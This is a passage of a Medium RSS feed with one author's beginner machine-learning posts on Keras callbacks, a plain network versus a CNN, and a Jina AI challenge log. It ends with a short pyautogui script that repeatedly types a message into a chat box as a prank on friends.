href="https://www.kaggleusercontent.com/kf/3581367/eyJhbGciOiJkaXIiLCJlbmMiOiJBMTI4Q0JDLUhTMjU2In0..6EIYcAfvddO7T_FjtGfIXA.pl8dacDNpei9ZNXc8r6ycKR3coOTup0hvbJ_AcMBPkUqx-BvW_Q64hnhsuo9wQB6oCuzcWkp8VuO9lO3G2hN32ua4pXzM2yj8KKnuuhp5I1MP4Yx-sqGj7hC65gdfMs8xHyNLp5QZavcLG1jk_TT8pXDr-olYkFiGdK-SqRSE32h_9AJT4MGi9SFwYXhx0Er4hgGRp7bSuT0EeNwl6ACr0pNxI4ABeBbfJHlE0NjBaO32g6UQhnKFkHCMVHHM1449M8OOd_7whnYIk3NXloQZSXhscLU323gB4YVHiStnosX1lxyHn0gGckLKclYG5LV8m77t_NeRJC9XC_y3VWU0aGIO23ZG7VycPYL8ZYCjafO4CjY6DpjeYbj2rMYKrz-_unzEmysCBXvggy6507xONchbQ8CNV0GUEl8uP9RJH4CpLTCGXcQHkCaf4F8f2KsXKIUIW1v3Eo2dj_NX1z2skx5ediWaSApCz25JFRoVLLGUtKShdI8_9AUi79G2EZjPnZ2rHJG9tDfbIkUYSZ0Ue-pXwrxpVECeAP04CQjWRtYTAmO_-GW8ggQxhL4D_B7sREx5F2aXErHaRswrB9fohk99djLqeZuJChu0nR7XbK_HZuh9v043RndnTMcGOVGqNZ7dD1_8JYWMsNvEx6ZAvb8D-FSCK89TVQ6T6B0Z2dEkW3mFZ2GzU4K_fprEbJK.saXQ-mYtWs4IuSXgr-xxKg/kaggle.com/competitions">Competitions</a> for you to try out new ideas using these free GPU’s.</p><p>The following text shows how to enable a GPU and gives details on the benchmark.</p><ol><li>open the notebook in kaggle</li><li>click the menu button with three vertical dots</li><li>under accelerator click GPU</li><li>only certain modules like keras, pytorch uses gpu</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=74b1e184242c" width="1" height="1" alt=""><hr><p><a href="https://medium.com/featurepreneur/how-to-use-kaggle-gpu-74b1e184242c">How to use Kaggle GPU</a> was originally published in <a href="https://medium.com/featurepreneur">featurepreneur</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Callbacks in Keras]]></title>
            <link>https://medium.com/featurepreneur/callbacks-in-keras-aec4d999f9d7?source=rss-514654f9af6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/aec4d999f9d7</guid>
            <category><![CDATA[neural-networks]]></category>
            <category><![CDATA[featurepreneur]]></category>
            <category><![CDATA[tensorflow]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[keras]]></category>
            <dc:creator><![CDATA[Jaabir]]></dc:creator>
            <pubDate>Thu, 06 Jan 2022 13:42:30 GMT</pubDate>
            <atom:updated>2022-01-13T02:55:09.616Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*NHgb7A78KVQy9c_5.png" /></figure><h3>Callbacks API</h3><p>A callback is an object that can perform actions at various stages of training (e.g. at the start or end of an epoch, before or after a single batch, etc).</p><p>You can use callbacks to:</p><ul><li>Write TensorBoard logs after every batch of training to monitor your metrics</li><li>Periodically save your model to disk</li><li>Do early stopping</li><li>Get a view on internal states and statistics of a model during training</li></ul><h3>Available callbacks</h3><ul><li><a href="https://keras.io/api/callbacks/base_callback">Base Callback class</a></li><li><a href="https://keras.io/api/callbacks/model_checkpoint">ModelCheckpoint</a></li><li><a href="https://keras.io/api/callbacks/tensorboard">TensorBoard</a></li><li><a href="https://keras.io/api/callbacks/early_stopping">EarlyStopping</a></li><li><a href="https://keras.io/api/callbacks/learning_rate_scheduler">LearningRateScheduler</a></li><li><a href="https://keras.io/api/callbacks/reduce_lr_on_plateau">ReduceLROnPlateau</a></li><li><a href="https://keras.io/api/callbacks/remote_monitor">RemoteMonitor</a></li><li><a href="https://keras.io/api/callbacks/lambda_callback">LambdaCallback</a></li><li><a href="https://keras.io/api/callbacks/terminate_on_nan">TerminateOnNaN</a></li><li><a href="https://keras.io/api/callbacks/csv_logger">CSVLogger</a></li><li><a href="https://keras.io/api/callbacks/progbar_logger">ProgbarLogger</a></li><li><a href="https://keras.io/api/callbacks/backup_and_restore">BackupAndRestore</a></li></ul><p>I’ll be using EarlyStopping, ReduceLROnPlateau and a custom callback</p><p>read more : <a href="https://keras.io/api/callbacks/">https://keras.io/api/callbacks/</a></p><p>Let’s work with the code example. I’ll be using this dataset : <a href="https://www.kaggle.com/grassknoted/asl-alphabet">https://www.kaggle.com/grassknoted/asl-alphabet</a></p><ol><li>import the required modules</li></ol><pre>import numpy as np # linear algebra<br>import pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)<br>import matplotlib.pyplot as plt <br>import seaborn as sns<br>import plotly.express as px <br>from warnings import filterwarnings as filt<br>import os<br>from tensorflow.keras.preprocessing.image import ImageDataGenerator<br>from sklearn.model_selection import train_test_split<br>from tensorflow.keras import Sequential<br>from tensorflow.keras.layers import Dense, MaxPool2D, Conv2D, Flatten, Input, Dropout, BatchNormalization<br>import tensorflow.keras as keras<br>from tensorflow.keras.callbacks import ReduceLROnPlateau, Callback, EarlyStopping</pre><pre>plt.style.use(&#39;fivethirtyeight&#39;)<br>plt.rcParams[&#39;figure.figsize&#39;] = (12, 6)<br>filt(&#39;ignore&#39;)</pre><p>2. use keras datagenerators to create to augment the images and create a generator</p><p>3. Initialize the model architecture</p><pre>def CNN():<br>    <br>    ip = Input(shape = (180, 180, 3))<br>    <br>    c1  = Conv2D(filters = 32, kernel_size = (3,3), strides = 1, padding = &#39;same&#39;, activation = &#39;relu&#39;)(ip)<br>    mp1 = MaxPool2D(pool_size=(2,2))(c1)<br>    <br>    c2  = Conv2D(filters = 32, kernel_size = (3,3), strides = 1, padding = &#39;same&#39;, activation = &#39;relu&#39;)(mp1)<br>    bn2 = BatchNormalization()(c2)<br>    mp2 = MaxPool2D(pool_size=(2,2))(bn2)<br>    <br>    c3  = Conv2D(filters = 64, kernel_size = (3,3), strides = 1, padding = &#39;same&#39;, activation = &#39;relu&#39;)(mp2)<br>    bn3 = BatchNormalization()(c3)<br>    mp3 = MaxPool2D(pool_size=(2,2))(bn3)<br>    <br>    c4  = Conv2D(filters = 64, kernel_size = (3,3), strides = 1, padding = &#39;same&#39;, activation = &#39;relu&#39;)(mp3)<br>    bn4 = BatchNormalization()(c4)<br>    mp4 = MaxPool2D(pool_size=(2,2))(bn4)<br>    <br>    c5  = Conv2D(filters = 128, kernel_size = (3,3), strides = 1, padding = &#39;same&#39;, activation = &#39;relu&#39;)(mp4)<br>    bn5 = BatchNormalization()(c5)<br>    mp5 = MaxPool2D(pool_size=(2,2))(bn5)<br>    <br>    c6  = Conv2D(filters = 128, kernel_size = (3,3), strides = 1, padding = &#39;same&#39;, activation = &#39;relu&#39;)(mp5)<br>    bn6 = BatchNormalization()(c6)<br>    mp6 = MaxPool2D(pool_size=(2,2))(bn6)<br>    <br>    f = Flatten()(mp6)<br>    bn7 = BatchNormalization()(f)<br>    dp = Dropout(0.2)(bn7)<br>    <br>    h1 = Dense(512, activation = &#39;relu&#39;)(dp)<br>    dp = Dropout(0.25)(h1)<br>    h2 = Dense(256, activation = &#39;relu&#39;)(dp)<br>    <br>    op = Dense(29 , activation = &#39;sigmoid&#39;)(h2)<br>    <br>    return keras.Model(inputs = ip, outputs = op)</pre><p>4. compile the model:</p><pre>model1 = CNN()<br>model1.compile(<br>    loss = &#39;categorical_crossentropy&#39;,<br>    metrics = [&#39;accuracy&#39;],<br>    optimizer = keras.optimizers.RMSprop(learning_rate = 0.1)<br>)</pre><pre>model1.summary()</pre><pre>Model: &quot;model_1&quot;<br>_________________________________________________________________<br>Layer (type)                 Output Shape              Param #   <br>=================================================================<br>input_2 (InputLayer)         [(None, 180, 180, 3)]     0         <br>_________________________________________________________________<br>conv2d_6 (Conv2D)            (None, 180, 180, 32)      896       <br>_________________________________________________________________<br>max_pooling2d_6 (MaxPooling2 (None, 90, 90, 32)        0         <br>_________________________________________________________________<br>conv2d_7 (Conv2D)            (None, 90, 90, 32)        9248      <br>_________________________________________________________________<br>batch_normalization_5 (Batch (None, 90, 90, 32)        128       <br>_________________________________________________________________<br>max_pooling2d_7 (MaxPooling2 (None, 45, 45, 32)        0         <br>_________________________________________________________________<br>conv2d_8 (Conv2D)            (None, 45, 45, 64)        18496     <br>_________________________________________________________________<br>batch_normalization_6 (Batch (None, 45, 45, 64)        256       <br>_________________________________________________________________<br>max_pooling2d_8 (MaxPooling2 (None, 22, 22, 64)        0         <br>_________________________________________________________________<br>conv2d_9 (Conv2D)            (None, 22, 22, 64)        36928     <br>_________________________________________________________________<br>batch_normalization_7 (Batch (None, 22, 22, 64)        256       <br>_________________________________________________________________<br>max_pooling2d_9 (MaxPooling2 (None, 11, 11, 64)        0         <br>_________________________________________________________________<br>conv2d_10 (Conv2D)           (None, 11, 11, 128)       73856     <br>_________________________________________________________________<br>batch_normalization_8 (Batch (None, 11, 11, 128)       512       <br>_________________________________________________________________<br>max_pooling2d_10 (MaxPooling (None, 5, 5, 128)         0         <br>_________________________________________________________________<br>conv2d_11 (Conv2D)           (None, 5, 5, 128)         147584    <br>_________________________________________________________________<br>batch_normalization_9 (Batch (None, 5, 5, 128)         512       <br>_________________________________________________________________<br>max_pooling2d_11 (MaxPooling (None, 2, 2, 128)         0         <br>_________________________________________________________________<br>flatten_1 (Flatten)          (None, 512)               0         <br>_________________________________________________________________<br>batch_normalization_10 (Batc (None, 512)               2048      <br>_________________________________________________________________<br>dropout_2 (Dropout)          (None, 512)               0         <br>_________________________________________________________________<br>dense_3 (Dense)              (None, 512)               262656    <br>_________________________________________________________________<br>dropout_3 (Dropout)          (None, 512)               0         <br>_________________________________________________________________<br>dense_4 (Dense)              (None, 256)               131328    <br>_________________________________________________________________<br>dense_5 (Dense)              (None, 29)                7453      <br>=================================================================<br>Total params: 692,157<br>Trainable params: 690,301<br>Non-trainable params: 1,856<br>_________________________________________________________________</pre><p>5. import the necessary callbacks using keras and initialize them</p><pre>from tensorflow.keras.callbacks import ReduceLROnPlateau, Callback, EarlyStopping</pre><pre>lr_decay = ReduceLROnPlateau(<br>    monitor=&quot;val_loss&quot;,<br>    factor=0.95,<br>    patience=3,<br>    verbose=1,<br>    mode=&quot;auto&quot;,<br>    min_lr=0.00001,<br>)</pre><pre>er_stopping = EarlyStopping(<br>    monitor=&quot;val_loss&quot;,<br>    min_delta=0.005,<br>    patience=4,<br>    verbose=1,<br>    mode=&quot;auto&quot;,<br>    restore_best_weights= True,<br>)</pre><pre>class StopTraining(Callback):<br>    def __init__(self, thresh = 0.95, times = 3):<br>        self.thresh = thresh<br>        self.times = times<br>        self.reached = 0<br>        <br>    def on_epoch_end(self, epoch, logs = {}):<br>        if logs.get(&quot;val_accuracy&quot;) &gt;= self.thresh:<br>            print(f&quot;Reached 95% accuracy {self.reached} / {self.times} ...&quot;)<br>            self.reached += 1<br>            if self.reached &gt;= self.times:<br>                self.model.stop_training = True<br>                <br>stopTr = StopTraining(times = 3)</pre><ul><li>StopTraining : class will check the validation accuracy at the end of the every epoch. if the accuracy reached or got more than the specified threshold at n times, which is in this case if the validation accuracy is ≥ 0.95 atlest 3 times or more then it will stop the training</li><li>EarlyStopping : <a href="https://keras.io/api/callbacks/early_stopping">https://keras.io/api/callbacks/early_stopping</a></li><li>ReduceLROnPlateau : <a href="https://keras.io/api/callbacks/reduce_lr_on_plateau">https://keras.io/api/callbacks/reduce_lr_on_plateau</a></li></ul><p>6. Assign these 3 callbacks into the callbacks argument while fitting the model</p><pre>his = model1.fit_generator(<br>    generator = train_gen,<br>    validation_data = dev_gen,<br>    epochs = 15,<br>    callbacks = [lr_decay, stopTr, er_stopping]<br>)</pre><p>7. This will stop the model from training more once any of these callbacks hold true and thus reduce overfitting the model.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aec4d999f9d7" width="1" height="1" alt=""><hr><p><a href="https://medium.com/featurepreneur/callbacks-in-keras-aec4d999f9d7">Callbacks in Keras</a> was originally published in <a href="https://medium.com/featurepreneur">featurepreneur</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[14 Days of JINA AI Challenge — Featurepreneur]]></title>
            <link>https://medium.com/featurepreneur/14-days-of-jina-ai-challenge-featurepreneur-32953e29852d?source=rss-514654f9af6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/32953e29852d</guid>
            <dc:creator><![CDATA[Jaabir]]></dc:creator>
            <pubDate>Thu, 06 Jan 2022 11:01:09 GMT</pubDate>
            <atom:updated>2022-01-07T07:33:29.300Z</atom:updated>
            <content:encoded><![CDATA[<h3>14 Days of JINA AI Challenge — Featurepreneur</h3><h4>This is the combined daily log for the team outsiders</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WKl6c0miPP9BR18c.gif" /></figure><h3>Team name: outsiders</h3><p>Day 1 #14dayslearningchallenge with Featurepreneur</p><p>Attended Alex’s intro and hands on about Jina Ai</p><p>Day 2 of #14dayslearningchallenge with Featurepreneur</p><p>Learning Update:</p><p>learned about Jina AI The core idea of neural search is to leverage state-of-the-art deep neural networks to build every component of a search system.</p><p>fundamental concepts of Jina AI:</p><ul><li>documentation</li><li>Flow</li><li>Executor</li></ul><p>Time Spent: 3 hrs</p><p>Day 3 of #14dayslearningchallenge with Featurepreneur</p><p>Learning Update:</p><p>Watched some basics JinaAI tutorials. Flows — Indexing data and querying it. Attended technical and non-technical events conducted by featurepreneur.</p><p>Time Spent: 2 hrs</p><p>Day 4 of #14dayslearningchallenge with Featurepreneur</p><p>Learning Updates:</p><p>Went through Jina Documentation again. Read articles about neural search and other Jina Ai apps.</p><p>Time Spent : 3 hrs</p><p>Day 5 of #14dayslearningchallenge with Featurepreneur</p><p>REST DAY</p><p>Day 6 of #14dayslearningchallenge with Featurepreneur</p><p>Learning Updates:</p><p>Watched tutorials about Jina AI by Han installed Jina Ai hello world apps. Attended technical and non-technical events conducted by featurepreneur.</p><p>Time Spent : 3 hrs</p><p>Day 7 of #14dayslearningchallenge with Featurepreneur</p><p>Learning Updates:</p><p>Created a simple product search, encountered some errors and we fixed them</p><p>Time Spent : 3 hrs</p><p>Day 8 of #14dayslearningchallenge with Featurepreneur</p><p>REST DAY</p><p>Day 9 of #14dayslearningchallenge with Featurepreneur</p><p>Learning Updates:</p><p>Brainstormed about our final Jina Ai projects. Attended technical and non-technical events conducted by featurepreneur</p><p>Time Spent : 4 hrs</p><p>Day 10 of #14dayslearningchallenge with Featurepreneur</p><p>Learning Updates:</p><p>Scraped lot of data for our project</p><p>Time Spent : 4.5 hrs</p><p>Day 11 of #14dayslearningchallenge with Featurepreneur</p><p>Learning Updates:</p><p>Implemented the Jina AI in flask, encountered lot of errors but solved it as usual.</p><p>Time Spent : 4 hrs</p><p>Day 12 of #14dayslearningchallenge with Featurepreneur</p><p>Learning Updates:</p><p>created flows and executors for our project .</p><p>Time Spent : 2 hrs</p><p>Day 13 of #14dayslearningchallenge with Featurepreneur</p><p>Learning Updates:</p><p>finished about 80% of our project using jina and streamlit</p><p>Time Spent : 10 hrs</p><p>Day 14 of #14dayslearningchallenge with Featurepreneur</p><p>Learning Updates:</p><p>finished our project, check us out during the demo day …</p><p>Time Spent : 6 hrs</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=32953e29852d" width="1" height="1" alt=""><hr><p><a href="https://medium.com/featurepreneur/14-days-of-jina-ai-challenge-featurepreneur-32953e29852d">14 Days of JINA AI Challenge — Featurepreneur</a> was originally published in <a href="https://medium.com/featurepreneur">featurepreneur</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vanilla NN vs CNN]]></title>
            <link>https://medium.com/featurepreneur/vanilla-nn-vs-cnn-d965f41758de?source=rss-514654f9af6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/d965f41758de</guid>
            <category><![CDATA[model-comparison]]></category>
            <category><![CDATA[convolutional-network]]></category>
            <category><![CDATA[visualization]]></category>
            <category><![CDATA[neural-networks]]></category>
            <category><![CDATA[machine-learning]]></category>
            <dc:creator><![CDATA[Jaabir]]></dc:creator>
            <pubDate>Thu, 06 Jan 2022 10:56:09 GMT</pubDate>
            <atom:updated>2022-01-07T07:33:01.933Z</atom:updated>
            <content:encoded><![CDATA[<p>why not to use plain NN for the image classification</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*82kBE38Urfte2wxh.png" /></figure><p>Although each dataset varies CNN generally works so good with the image classifications. why is that ? well CNN uses convolution on the images along with pooling. they act like a feature extraction.</p><p>for eg:</p><ul><li>Each convolution layer does convolution method on the input data image</li><li>Each convolution layer needs # of filters, kernel size and strides.</li><li>they tends to detect edges and other important features in the image.</li></ul><p>let’s see the code example on why to use CNN for the image dataset, although there are many models to work with the images, by default we need to try using CNN and not plain NN.</p><p>Let’s use this dataset for simplicity : <a href="https://www.kaggle.com/cactus3/basicshapes">https://www.kaggle.com/cactus3/basicshapes</a></p><p>I am only going to show the model building and comparison but if you like you can see the whole notebook here : <a href="https://www.kaggle.com/muhammedjaabir/cnn-vs-vanilla-nn/notebook">https://www.kaggle.com/muhammedjaabir/cnn-vs-vanilla-nn/notebook</a></p><p>Before starting let’s import the required modules</p><pre>import tensorflow as tf <br>import tensorflow.keras as keras <br>from tensorflow.keras import Sequential<br>from tensorflow.keras.utils import plot_model, to_categorical<br>from tensorflow.keras.layers import Dense, Input, Dropout, BatchNormalization, Flatten<br>from sklearn.metrics import classification_report, confusion_matrix<br>from sklearn.model_selection import train_test_split<br>from tensorflow.keras.preprocessing.image import ImageDataGenerator<br>import tensorflow_addons as tfa<br><br><br>loss = keras.losses<br>metrics = keras.metrics</pre><p>Also make sure to split the dataset into train and test/dev set. its upto you use you can either use any of these steps to split the dataset</p><ul><li>Read all the images, flatten them and then store it in a dataframe along with their class. the shape would be (n, m) where n is number of images and m is the each pixels values flattened</li><li>Store the image path in a dataframe with their class and then use the sklearn’s train_test_split method to split the dataset and use that in keras image generator ( I have used this method )</li><li>Create a seperate folder for training and testing and use that in keras image generator</li></ul><p><strong>Model Building</strong></p><p>plain NN:</p><pre>class <strong>Network</strong>:<br>    def __init__(self, layers = [], activations = [], dropout = [], batchnorm = [], compile_params = {}, flatten = False):<br>        self.model = None<br>        self.losses = None <br>        self.metrics = None<br>        self.layers = layers <br>        self.activations = activations <br>        self.compile_params = compile_params <br>        self.dropout = dropout if len(dropout) == (len(activations) - 1) else [None for _ <strong>in</strong> range(len(activations) - 1)]<br>        self.batchnorm = batchnorm if len(batchnorm) == (len(activations) - 1) else [None for _ <strong>in</strong> range(len(activations) - 1)]<br>        self.flatten = flatten<br>        self.initialize_model()<br>    <br>    def initialize_model(self):<br>        <br>        self.model = Sequential()<br>        <br>        <em># input layer         </em><br>        self.model.add(Input(shape = self.layers[0], name = &#39;Input_Layer&#39;))<br>        <br>        if self.flatten:<br>            self.model.add(Flatten())<br>            <br>        <em># hidden layers         </em><br>        for idx <strong>in</strong> range(len(self.layers) - 2):<br>            units = self.layers[idx + 1]<br>            activation = self.activations[idx]<br>            dp = self.dropout[idx]<br>            bn = self.batchnorm[idx]<br>            self.model.add(Dense(units, activation = activation, name = f&#39;Hidden_Layer_<strong>{</strong>idx + 1<strong>}</strong>&#39;))<br>            if bn:<br>                self.model.add(BatchNormalization())<br>            if dp:<br>                self.model.add(Dropout(dp, name = f&#39;Dropout_<strong>{</strong>idx + 1<strong>}</strong>_<strong>{</strong>dp<strong>}</strong>&#39;))<br>                <br>        <em># output layer</em><br>        self.model.add(Dense(self.layers[-1], activation = self.activations[-1], name = &#39;Output_Layer&#39;))<br>                <br>        self.model.compile(**self.compile_params)<br>        return self.model<br>    <br>    def fit(self, fit_params):<br>        history = self.model.fit(**fit_params)<br>        return self.store_history(history)<br>    <br>    def store_history(self, history):<br>        his = pd.DataFrame(history.history)<br>        l = [c for c <strong>in</strong> his.columns if &#39;loss&#39; <strong>in</strong> c]<br>        m = [c for c <strong>in</strong> his.columns if &#39;loss&#39; <strong>not</strong> <strong>in</strong> c]<br>        self.losses = his[l]<br>        self.metrics = his[m]<br>        return his<br>    <br>    def fit_generator(self, fit_params):<br>        history = self.model.fit_generator(**fit_params)<br>        return self.store_history(history)<br>          <br>    def predict(self, x, softmax = 0):<br>        pred = self.model.predict(x)<br>        if softmax == 0:<br>            return np.argmax(pred, axis = 1)<br>        return pred<br>    <br>    def predict_generator(self, xgen, softmax = 0):<br>        pred = self.model.predict_generator(xgen)<br>        if softmax == 0:<br>            return np.argmax(pred, axis = 1)<br>        return pred<br>    <br>    def plot_arch(self):<br>        if self.model <strong>is</strong> <strong>not</strong> None:<br>            return plot_model(self.model, show_shapes = True, show_layer_names = True)<br>        <br>    def plot_loss(self):<br>        if self.losses <strong>is</strong> <strong>not</strong> None:<br>            self.losses.plot(kind = &#39;line&#39;)<br>            plt.title(&#39;loss comparison&#39;)<br>            plt.legend(self.losses.columns)<br>            <br>    def plot_metrics(self):<br>        if self.metrics <strong>is</strong> <strong>not</strong> None:<br>            self.metrics.plot(kind = &#39;line&#39;)<br>            plt.title(&#39;metrics comparison&#39;)<br>            plt.legend(self.metrics.columns)<br><br>        <br>def report(yt, pred, inverse_to_cat = True):<br>    if inverse_to_cat:<br>        yt = np.argmax(yt, axis = 1)<br>    print(classification_report(yt, pred))<br>    sns.heatmap(confusion_matrix(yt, pred), fmt = &#39;.1f&#39;, annot = True)<br>    plt.title(&#39;confusion matrix&#39;)<br>    <br>def hardmax(y):<br>    return np.argmax(y, axis = 1)<br><br>def sample(x, y, frac, return_val = False):<br>    x, xt, y, yt = train_test_split(x, y, test_size = frac, stratify = y)<br>    if return_val:<br>        return x, xt, y, yt<br>    return x, y<br><br>def plot(history, kind):<br>    his = pd.DataFrame(history.history)<br>    l = [c for c <strong>in</strong> his.columns if &#39;loss&#39; <strong>in</strong> c]<br>    m = [c for c <strong>in</strong> his.columns if &#39;loss&#39; <strong>not</strong> <strong>in</strong> c]<br>    losses = his[l]<br>    metrics = his[m]<br>    if losses <strong>is</strong> <strong>not</strong> None <strong>and</strong> kind == &#39;loss&#39;:<br>        losses.plot(kind = &#39;line&#39;)<br>        plt.title(&#39;loss comparison&#39;)<br>        plt.legend(losses.columns)<br>    if metrics <strong>is</strong> <strong>not</strong> None <strong>and</strong> kind == &#39;metrics&#39;:<br>        metrics.plot(kind = &#39;line&#39;)<br>        plt.title(&#39;metrics comparison&#39;)<br>        plt.legend(metrics.columns)</pre><p>model 1 ( plain NN ) :</p><pre>layers = [(28, 28, 3), 128, 3]<br>activations = [&#39;leaky_relu&#39;, &#39;sigmoid&#39;]<br>dropout = []<br>batchNorm = []<br><br>compile_params = {<br>    &#39;loss&#39;      : &#39;categorical_crossentropy&#39;,<br>    &#39;optimizer&#39; : keras.optimizers.RMSprop(learning_rate = 0.01),<br>    &#39;metrics&#39;   : [&#39;accuracy&#39;]<br>}<br><br>model1 = Network(layers, activations, dropout = dropout, batchnorm = batchNorm, flatten = True, compile_params = compile_params) <br>model1.plot_arch()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/0*jdWfOpjDseMgQBsk.png" /></figure><pre>class <strong>myCb</strong>(tf.keras.callbacks.Callback):<br>    def on_epoch_end(self, epoch, logs={}):<br>        if logs.get(&quot;val_accuracy&quot;) &gt;= 0.95:<br>            print(&quot;Reached 95<strong>% a</strong>ccuracy so cancelling training!&quot;)<br>            self.model.stop_training = True</pre><pre>callbacks = myCb()<br>fit_params = {<br>    &#39;generator&#39; : x_train_gen,<br>    &#39;validation_data&#39; : x_dev_gen,<br>    &#39;epochs&#39; : 10,<br>    &#39;callbacks&#39;: [callbacks]<br>}<br><br>his = model1.fit_generator(fit_params)<br>model1.plot_metrics()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*wYiDIVP-Qp61xGtE.png" /></figure><p>you can see that validation accuracy is same for every iteration. it means that the model is not generalizing well. In this case our model 1 ( plain NN ) have high bias and variance</p><p>CNN :</p><pre>from tensorflow.keras.layers import Input, Conv2D, MaxPool2D, ReLU </pre><pre>def Cnn():     <br>    <em>## input layer</em>     <br>    ip = Input(shape = (28, 28, 3))          <br>    <br>    <em>## convolution layer 1     </em>     <br>    c1 = Conv2D(filters = 32, kernel_size = (3,3), strides = 1,       padding = &#39;same&#39;)(ip)     <br>    a1 = ReLU()(c1)     <br>    mp1 = MaxPool2D(pool_size = (2,2), strides = (2,2))(a1)          </pre><pre><em>    ## convolution layer 2     </em>     <br>    c2 = Conv2D(filters = 64, kernel_size = (3,3), strides = 1, padding = &#39;same&#39;)(mp1)     <br>    a2 = ReLU()(c2)     <br>    mp2 = MaxPool2D(pool_size = (2,2), strides = (2,2))(a2)          </pre><pre><em>    ## flatten</em>     <br>    F = Flatten()(mp2)          </pre><pre><em>    ## dropout</em>     <br>    dp = Dropout(0.2)          </pre><pre><em>    ## hidden dense layer 3</em>     <br>    h3 = Dense(256, activation = &#39;relu&#39;)(F)          <br>    <br>    <em>## output dense layer 4</em>     <br>    op = Dense(3, activation = &#39;sigmoid&#39;)(h3)          </pre><pre>    model = keras.Model(inputs = ip, outputs = op)     <br>    return  model</pre><p>Model 2 ( cnn ) :</p><pre>model2 = Cnn()<br>model2.compile(<br>    loss = &#39;categorical_crossentropy&#39;,<br>    optimizer = keras.optimizers.RMSprop(learning_rate = 0.001), <br>    metrics = [&#39;accuracy&#39;]<br>)<br></pre><pre>model2.summary()</pre><pre>Model: &quot;model&quot;<br>_________________________________________________________________<br>Layer (type)                 Output Shape              Param #   <br>=================================================================<br>input_1 (InputLayer)         [(None, 28, 28, 3)]       0         <br>_________________________________________________________________<br>conv2d (Conv2D)              (None, 28, 28, 32)        896       <br>_________________________________________________________________<br>re_lu (ReLU)                 (None, 28, 28, 32)        0         <br>_________________________________________________________________<br>max_pooling2d (MaxPooling2D) (None, 14, 14, 32)        0         <br>_________________________________________________________________<br>conv2d_1 (Conv2D)            (None, 14, 14, 64)        18496     <br>_________________________________________________________________<br>re_lu_1 (ReLU)               (None, 14, 14, 64)        0         <br>_________________________________________________________________<br>max_pooling2d_1 (MaxPooling2 (None, 7, 7, 64)          0         <br>_________________________________________________________________<br>flatten_1 (Flatten)          (None, 3136)              0         <br>_________________________________________________________________<br>dense (Dense)                (None, 256)               803072    <br>_________________________________________________________________<br>dense_1 (Dense)              (None, 3)                 771       <br>=================================================================<br>Total params: 823,235<br>Trainable params: 823,235<br>Non-trainable params: 0<br>_________________________________________________________________</pre><p>the above one is the model summary</p><pre>fit_params = {<br>    &#39;generator&#39; : x_train_gen,<br>    &#39;validation_data&#39; : x_dev_gen,<br>    &#39;epochs&#39; : 100,<br>    &#39;callbacks&#39;: [callbacks]<br>}<br>his = model2.fit_generator(**fit_params)<br>plot(his, &#39;metrics&#39;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/0*TNtlAbibuELlle-K.png" /></figure><p>As you can see that CNN model did so much better with less number of images compared to the plain NN.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d965f41758de" width="1" height="1" alt=""><hr><p><a href="https://medium.com/featurepreneur/vanilla-nn-vs-cnn-d965f41758de">Vanilla NN vs CNN</a> was originally published in <a href="https://medium.com/featurepreneur">featurepreneur</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Annoy your friends with pyautogui]]></title>
            <link>https://medium.com/featurepreneur/annoy-your-friends-with-pyautogui-7a4c5ae1b025?source=rss-514654f9af6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/7a4c5ae1b025</guid>
            <category><![CDATA[entertainment]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[Jaabir]]></dc:creator>
            <pubDate>Thu, 06 Jan 2022 07:22:34 GMT</pubDate>
            <atom:updated>2022-01-07T07:33:07.003Z</atom:updated>
            <content:encoded><![CDATA[<p>annoy your friends with a simple python script using pyautogui</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ABV_bpKnZ_vNdk1w.jpg" /></figure><ol><li>open any editor of your choice</li><li>paste this code and save it</li></ol><pre>import pyautogui as pg<br>import pyperclip as pc<br>from time import sleep<br>from tqdm import tqdm</pre><pre>to_send = input(&#39;enter the msg to send : &#39;)<br>times = int(input(&#39;iterate : &#39;))</pre><pre>def sleepTime(t = 10):<br>    print(f&#39;[*] Waiting for {t} secs .....&#39;)<br>    for _ in tqdm(range(t)):<br>        sleep(1)</pre><pre>sleepTime()<br>for i in range(times):<br>    pg.typewrite(to_send)<br>    pg.hotkey(&#39;enter&#39;)</pre><p>3. open cmd and pip install pyautogui</p><p>4. python this_filename.py</p><pre>enter the msg to send : heeeeeeeeeellllllllllllo<br>iterate : 10<br>[*] Waiting for 10 secs .....<br>100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 10/10 [00:10&lt;00:00,  1.00s/it]</pre><p>while its waiting for specified time, meanwhile place your cursor in message box and this will do the trick</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7a4c5ae1b025" width="1" height="1" alt=""><hr><p><a href="https://medium.com/featurepreneur/annoy-your-friends-with-pyautogui-7a4c5ae1b025">Annoy your friends with pyautogui</a> was originally published in <a 